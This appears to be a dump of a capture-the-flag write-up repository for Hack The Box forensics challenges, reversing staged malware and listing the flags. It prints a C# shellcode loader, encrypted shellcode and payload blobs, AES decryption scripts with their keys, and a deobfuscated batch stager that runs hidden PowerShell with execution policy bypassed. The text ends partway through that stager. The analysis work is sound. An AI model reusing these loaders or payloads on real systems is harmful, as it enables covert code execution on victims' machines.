w1p/Tk6H0/DKQq5aCl3JW9fFi/Oap6t63DPS0yawCLjsJPg9pbk0tIvSdwJKwTR1snerJw3QV11IzVClVeMBkxr9ejvnfqL2HP05gpi1gyHztt5j/fp0eo57PO79HylOjSNLz16js7m4OLT0nsQvcshDKjvOqSgXXeqZpT3bfbhZbL+BDqYdNXkLgMjCAvOvhrezqvJOljvLl/aGuCYeyBlfQud4nk8kMQPJVxesgqt5JifCTRNrEs5boO3qrZBfoRmFEbuNbcKNaJG7BlRsJC6nwYdmkRVGed/pWjGTQwPUAERzbSoIVNL3grNcW17SOflesy+ixtx7HIbNtsMbhig6patRk353Ma0ud8DlriMNYMUG+ypVEMxn9Xzc3DKhsFKO27Jnwg8UthQ2Z3+aNFykLxERHmNaRZpRJ+RX1MWv7il5Wtj2IatF6lIsBum9NN59fT6OVmLgmCeoWuIIBjTrTxV//I3vnV0wvgW1vIW3djQTwWnbY5jVp9dIYvzbTIvkT6Pidd6MpcqsFh0PxgXINCgdpIY6LfmtOGUQrR4YkcCgWy0zvCuB+vWdyczMkpZx+eYsPonXxqPuZMF4WcI9HE84gVcBsO5IehlMHy1veIXoeSG6XQgny15KvDLYfuSdEs1Y7Ez/jnaeUZCGsMrfA+t4BydASVUoKHwJOwpc5xIZmkvofFz+fCXR24rfDdRhfNImfjT50hGIrsHjzx6vgO3heYcmHPfwHVdXmF8CdqqqAlN/4+/updO84tEw1EibvaJB/lvFc4bRihWs2ZHIsWt4buKcEl6vk2ango58fHamPUOIXrAofE724ehyhVBIsBIQ9IJOJ5Q0vwLIX0M4VLfPqhtKIBRUmJZaZDobI9n1O3fCggB7irCGXNgfvqHNsFIQ6zkGseq+RD2zTe+inReBo7VjwtCYHiXTHQJXmL9+nOYAHGNjjpFTk65rr/GIZD4j2w5leLe10RZojabwgKZmt8VEEf60IwFh2N8HY+jyYYZR5olgzeKMfEvBs9EsoSbzK6s01ZZ1c2tf/SZ+l/5mkZeHfIW7LjTuXIvkdq+Vis5nIp0hdWF7pImaBP/97Sp7wP3m5I7ePWjE9/YI0+kImMaXIhio1oU8pvSAkFa6wBBgWoCH4BV0UHBQgaAQYFqCtkbdbJBwUoOXEFSww=="); 148 | IntPtr intPtr = VirtualAlloc(IntPtr.Zero, (uint)array.Length, 4096u, 64u); 149 | Marshal.Copy(array, 0, intPtr, array.Length); 150 | func func = (func)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(func)); 151 | func(); 152 | VirtualFree(intPtr, 0u, 32768u); 153 | ``` 154 | 155 | It will load the base64 decoded instructions into the process memory and execute it! 156 | I have decoded and put the instructions into `stage3.bin` (`stage3.enc` contains the encoded version) 157 | 158 | Now this file really just contains raw instructions without any executable/dll header. 159 | I have tried to run this under linux and it worked for the most part. 160 | 161 | The binary starts with multiple self modifying steps, where it decrypt some part of itself and then continues from the new part, which again decrypts some other part. 162 | 163 | After a couple of decryption rounds it seems that normal execution being, however this fails on linux, because it starts going to `%gs`, possibly to get some shared libraries, which is not working under linux. 164 | 165 | Therefore I have loaded the same binary under windows. 166 | I used `x64dbg` with `blobrunner64` in order to start the file (on linux I wrote my own shellcode loader). 167 | 168 | Again I have stepped through the code and each debugging stage. 169 | Hardware breakpoints are useful, because software breakpoints could get overwritten by the decryption process. 170 | 171 | After some amount of stepping through the code I have noticed that the `rcx` register points to a string which contains the flag. It must have been decrypted during the many rounds of self modification. 172 | -------------------------------------------------------------------------------- /forensics/pandoras_bane/dec.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | import base64 4 | 5 | content = open('./stage2.enc', 'r').read() 6 | content = base64.b64decode(content) 7 | 8 | key = bytes.fromhex('99b97bf329968477cc3aae5dd24fdc12a04177b98f66444e03a9a14c2b1758823a85861eccaadc8ecd4f 36d201a510ce')[:32] 9 | iv = bytes.fromhex('3a85861eccaadc8ecd4f36d201a510ce') 10 | 11 | print(len(key), key) 12 | print(len(iv), iv) 13 | 14 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 15 | clean = unpad(cipher.decrypt(content), 16) 16 | open('stage2.bin', 'wb').write(clean) 17 | -------------------------------------------------------------------------------- /forensics/pandoras_bane/stage2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/pandoras_bane/stage2.bin -------------------------------------------------------------------------------- /forensics/pandoras_bane/stage3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/pandoras_bane/stage3.bin -------------------------------------------------------------------------------- /forensics/pandoras_bane/stage3.enc: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /forensics/plaintext_pleasure.md: -------------------------------------------------------------------------------- 1 | # Plaintext pleasure (very easy) 2 | For this challenge we could open the capture file using wireshark. 3 | However I think a more classical approach is better here: 4 | 5 | ```shell 6 | ➜ forensics strings capture.pcap | grep HTB 7 | HTB{th3s3_4l13ns_st1ll_us3_HTTP} 8 | ``` 9 | -------------------------------------------------------------------------------- /forensics/relic_maps/README.md: -------------------------------------------------------------------------------- 1 | # Relic maps (medium) 2 | The challenge prompts us to go the a URL, so I went to it and downloaded the `relicmaps.one` file. 3 | The `file` command returns nothing interesting, so I ran `strings` on the blob. 4 | 5 | The result contains an interesting piece of code: 6 | ```html 7 | 8 | 9 | 10 | 11 | 49 | 50 | 51 | 52 | 53 | ``` 54 | 55 | We see that 2 URLs are downloaded from and then executed. 56 | The first URL returns a 404, however the second one returns a new bat script I have saved in `stage2.bat`. 57 | 58 | This bash script is a bit obfuscated, although it is not difficult to reverse it. 59 | 60 | Basically we have a bunch of `set` statements that set some arbitrary string to a few characters. 61 | At the end of the file all these random strings are concatenated to form the script. 62 | 63 | I have extracted all the defined string into the `s2defs.txt` file and used regex to convert the concatenation part at the bottom of the `bat` file to a nice one token per line string, which can be found in `ext.py`. 64 | 65 | The script parses all *defs* and substitutes the corresponding string into the concatenated string to deobfuscate the script. 66 | 67 | The full deobfuscated script can be seen in `nice2.bat`. 68 | This script invokes a powershell command that executed the script passed as the argument. 69 | 70 | I felt it wasn't too hard to read, so I didn't separately deobfuscate it. 71 | * Reads each line of the original `stage2.bat` until `::` is found (this is a comment in `.bat` syntax), it contains a long base64 string in our case, and decodes it 72 | * Creates and AES CBC cipher with PKCS7 padding with key and iv decoded from base64 strings. 73 | * The decoded string is decrypted using the AES cipher 74 | * The resulting bytes are GZIP decompressed 75 | * The resulting bytes are interpreted as a .NET assembly an are invoked directly from the powershell script 76 | 77 | I wrote `dec.py` to carry out this decryption process, the result is saved in `stage3.bin`, which is indeed a .NET assembly. 78 | 79 | I loaded the assembly into ILSpy and the flag was waiting for me in the `Main` function in a variable 80 | 81 | ```cs 82 | string text = "HTB{0neN0Te?_iT'5_4_tr4P!}"; 83 | ``` 84 | -------------------------------------------------------------------------------- /forensics/relic_maps/dec.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | import base64 4 | import gzip 5 | 6 | inp = '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' 7 | 8 | key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=') 9 | iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==') 10 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 11 | clean = cipher.decrypt(base64.b64decode(inp)) 12 | out = unpad(clean, 16) 13 | decomp = gzip.decompress(out) 14 | 15 | open('stage3.bin', 'wb').write(decomp) 16 | print('Done!') 17 | -------------------------------------------------------------------------------- /forensics/relic_maps/ext.py: -------------------------------------------------------------------------------- 1 | content = open('./s2defs.txt', 'r').readlines() 2 | 3 | hard = '''eDhTebXJLa 4 | vShQyqnqqU 5 | KsuJogdoiJ 6 | uVLEiIUjzw 7 | SJsEzuInUY 8 | gNELMMjyFY 9 | XIAbFAgCIP 10 | weRTbbZPjT 11 | yQujDHraSv 12 | zwDBykiqZZ 13 | nfEeCcWKKK 14 | MtoMzhoqyY 15 | igJmqZApvQ 16 | SIQjFslpHA 17 | KHqiJghRbq 18 | WSRbQhwrOC 19 | BGoTReCegg 20 | WYJXnBQBDj 21 | SIneUaQPty 22 | WTAeYdswqF 23 | EdLUuXiTNo 24 | rVOFKTskYR 25 | nMLIkcyFZj 26 | jtkYEPXtKX 27 | RWcegafVtf 28 | KhyyrSrcKr 29 | zDUDeXKPaV 30 | VZAbZqJHBk 31 | XClTzcVMGM 32 | xVIsxobyZi 33 | qpUykKHwzb 34 | iKAAuWsbec 35 | cYinxarhDL 36 | olHsTHINJO 37 | uynFENuiYB 38 | WauWfrgGak 39 | tzSNMWchGN 40 | oFspIELDJK 41 | FijcPoQLnC 42 | AbMyvUGzSH 43 | LmCknrHfoB 44 | GDXqElqPYy 45 | gqUdnmSTUN 46 | YlKbYsFYPy 47 | GLwLVWewUj 48 | EQAuBusyXb 49 | yOkBDuSVrl 50 | FraARuTjiq 51 | hwZKiiLqAE 52 | ahbOZSBViB 53 | djeIEnPaCg 54 | AiqHTcPzsv 55 | JCuNlxqlBZ 56 | TYbHmXrqgV 57 | sLNudRRtUX 58 | dbDMRBPrxg 59 | XEyDmChJvW 60 | KytxcYPZKt 61 | GWrDWSvoPL 62 | haSZYOmkiA 63 | JhYYmEHfJT 64 | LPGeAanVGt 65 | hTTJOKGuzo 66 | MFRjJyYsrs 67 | kpEWZrtOzX 68 | BrDOtQoojB 69 | YnGvhgYxvb 70 | cUDojRpXKx 71 | rSVBNvbdPT 72 | kJjQuXIjOT 73 | tVtxVGNpFB 74 | BqEMjgsfHM 75 | fVHBRsLNUl 76 | jgiQdwyxFg 77 | HLynrUfwGo 78 | FCBcNynRGD 79 | VavtsuhNIN 80 | HUAAetwukX 81 | nogFGGEgdF 82 | iHRclHpeVX 83 | MrNTGKcbYu 84 | bTHJpHTPMM 85 | QbKdEZdxpx 86 | drymkVAnZW 87 | DDiJEpaiME 88 | OAsjgKHKoH 89 | HFLAqJuuyu 90 | gFQQimTbzp 91 | YULKJDZpgz 92 | oQYrpYRHsU 93 | VGKsxiJBaT 94 | RGlZIMTaRM 95 | JenYfqHzBk 96 | vmIEtsktnA 97 | TypmIIEYJC 98 | eQPFkQsLmh 99 | AkaPyEXHFq 100 | BANrSlObpx 101 | LIQYgFxctD 102 | ZygfZJxAOd 103 | KXttaDcyMZ 104 | brwOvSubJT 105 | hVncqdtHrj 106 | OonlMOpxYC 107 | CZpuCIcrKh 108 | owRVWPJqcX 109 | jugDlMdkcG 110 | DXdgqiFTAH 111 | acXjUrxrpX 112 | eYuashSMjP 113 | ESpdErsKEO 114 | kQQvXhxXIT 115 | pLUeCEDcNj 116 | pTKKchMUFD 117 | ZMNBNnhYdl 118 | KVdpASYkBZ 119 | OpWuyrggtP 120 | uDsfTCYsro 121 | wEZCzuPukj 122 | jCsFOJQsdv 123 | hbFnQgCXwX 124 | UFSmCjquVd 125 | BMVjGSkNrk 126 | MFpVhvZMMs 127 | SRYmoDJgcF 128 | svwZUufvHX 129 | WPGlloqWfh 130 | kEHDlJOIVc 131 | jdKMRqipbM 132 | pEeOvclMbZ 133 | nMbUuONTOk 134 | GwAFOSfUtV 135 | gbVsRGzTij 136 | ybHVOwcPrc 137 | CpAQgSdzaC 138 | XqtgTmRIdO 139 | pUKFMEPFQs 140 | QpDqsQAemY 141 | CZTFliIBbC 142 | EuMCNHEVeC 143 | dyJHMHMcNc 144 | LNwemqbftD 145 | VnDoNvCbDL 146 | mFZJVdqlTD 147 | vGOYQQYIpx 148 | GzBAHPVuTq 149 | fLycQgNMii 150 | ZPlPiozEyW 151 | xULgeMdzcg 152 | iVrCyJhMiJ 153 | dlzhxQnMss 154 | pqWXTkasXe 155 | doKcadyJqy 156 | hNwOTmvEJo 157 | yqhJQSZuJo 158 | JPOdGPAwht 159 | rEvTlCThdH 160 | PwJJFMgamh 161 | eeacPrYshd 162 | LYxpWUVnyn 163 | YRqcyngfyU 164 | IAkZpnEseT 165 | DAaZVQYtML 166 | QTBYjmNXEB 167 | lSUnvlNyZI 168 | pCjFJxRqgH 169 | oMsMdPYmPd 170 | AGOCIKFMEK 171 | dAuevoJWoL 172 | uwRWnyAikF 173 | mBIWiJNHWZ 174 | RfMwENsorP 175 | gbXeIdPSoj 176 | kxCYxBSxVM 177 | AbZpTpKurz 178 | glRvzlEEoe 179 | TVsNOuCNZd 180 | VUsEoebHks 181 | tuAPcYGhzl 182 | WojQSFImBz 183 | NXvoEmTmgu 184 | jWtWLzuDKP 185 | NvnNgHLBLJ 186 | vPgKEvZmlQ 187 | ftaecaUnft 188 | lfCLMrJHhW 189 | ArAxZuPIrp 190 | zhsTKtujLg 191 | MxwsyqmvYm 192 | MsfoqNTDfI 193 | klVPUdMJas 194 | XzWakcViZI 195 | htJeDhbeDW 196 | ARecVABHyu 197 | EDuGpmwedn 198 | SKEwAQBRlN 199 | bIgeRgvTeJ 200 | AnKEeEZdOq 201 | KXapePmHCe 202 | YKwLsVwqOj 203 | QCZuMFaZsV 204 | RycUceHQZc 205 | TOqZKQRZli 206 | hIpFAiXGDz 207 | PmpGnAHBIo 208 | nGqMpclaJV 209 | NbOjNijxuU 210 | hbnAmGyJMk 211 | jpqWVBsCpx 212 | WXWHLOygSe 213 | rjhOhltPzI 214 | DCnzMxKRnm 215 | QGiWXkfFPy 216 | isQISZiBPJ 217 | iCcGUuJxVn 218 | dGSGnKbkQW 219 | gNabAkLFGN 220 | pibEdoDBbD 221 | AHKCuBAkui 222 | YYKSCuCbgJ 223 | IeRiYUFnCZ 224 | hzjnwzdyGY 225 | KAlyOryibJ 226 | MBvrUwPCDz 227 | WmHvayPxwd 228 | reviZiSttH 229 | wwmTmFdRsZ 230 | JBUgbyTPxp 231 | BaMYsIgnsM 232 | DwiWdAaOiv 233 | vXewtPjogB 234 | odWdfvJnBE 235 | yPzFwnsYdA 236 | xfHbUEWpFC 237 | ySgQyAAfQH 238 | QMmDXFyyag 239 | xllGdjvUjB 240 | zuIYfGJIhV 241 | MmhvJKSdep 242 | fxpyemHAMo 243 | eFWpiweoyr 244 | WQqetkePWs 245 | qsPTvcejTS 246 | YiVTQhqRnm 247 | GEFNspgkfU 248 | iREuYMPcTg 249 | rVuFsOUxnm 250 | UmCJMMMcBg 251 | VUeZKgDBUe 252 | roXhULjavE 253 | uIWSZVpUHl 254 | ZNBNkxQuUl 255 | ktDjVGpvOa 256 | CMHWMmXlZO 257 | RITIeDNkWx 258 | UPfjubfNXt 259 | GTgGJngEbX 260 | zFvgtBzUer 261 | TfyrgNGxBL 262 | hknFiXCnZQ 263 | xijYXotZPT 264 | BlIFABuPAW 265 | GJcpQprPXv 266 | YmUoUKWAtR 267 | tHHIjVCHeH 268 | DNNdkNfTiI 269 | XEcuUpquLQ 270 | EUwICZcugV 271 | MJKqSlzRdg 272 | FcrKUOEnOU 273 | EiWocIreAk 274 | LLNnWnTLBJ 275 | QzqEkBCLON 276 | uOGlqENvnk 277 | TuqTvTpeOG 278 | USLedfRsdA 279 | fFqNPWfBWr 280 | AyyrPvjwjr 281 | mxXhSCdBil 282 | MusMeoeDey 283 | OOiwgwuupI 284 | WvjMoIIiUn 285 | TEtLFfgLmA 286 | rFsKCxpAbv 287 | hImzprlFyw 288 | GVIREkvxRa 289 | qIhOqqdyjR 290 | shhyfkrTvn 291 | UAnQUvXBfs 292 | bSIafzAxiZ 293 | oNvGdyNkLt 294 | SCbDgQuqTU 295 | tBsRPAyhtG 296 | KUKwZheGNw 297 | INPLAzQfUo 298 | ekEoGMuERC 299 | aGQeJYSFDZ 300 | LODxmGMGqq 301 | KtmeCApwQn 302 | MAPkvbWKbC 303 | HlBVDpGgba 304 | ZNnASGtLCj 305 | IwOqmlYsbl 306 | JbFOJyRrBm 307 | TiuQnZmosP 308 | HkiSTlwlIs 309 | rofQqYizRu 310 | OckpqzbYcn 311 | YJZmDySMUy 312 | cGJiVEdEzp 313 | QNxYaFZSBu 314 | jxjvtHoTnR 315 | fvEtritbuM 316 | wxzMwkmbmY 317 | yZlAoExoOn 318 | pjrIjvjdGR 319 | mYyPXMYwYi 320 | vnHosfjdeN 321 | LfngwmfRCb 322 | bivuMABwCB 323 | GapFScCcpe 324 | lfYSggLrsL 325 | GhTXhmRnCR 326 | ENADhKPHot 327 | KdByPVjCnF 328 | PjdRUyhsyG 329 | kpzxAxFvLw 330 | rddZbDFvhl''' 331 | 332 | defs = {} 333 | for d in content: 334 | parts = d.strip()[:-1].split('=') 335 | name = parts[0] 336 | val = '='.join(parts[1:]) 337 | defs[name] = val 338 | 339 | # print(defs) 340 | res = '' 341 | for l in hard.split('\n'): 342 | res += defs[l] 343 | 344 | print(res) 345 | -------------------------------------------------------------------------------- /forensics/relic_maps/nice2.bat: -------------------------------------------------------------------------------- 1 | copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe" 2 | cd "%~dp0" 3 | 4 | "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach 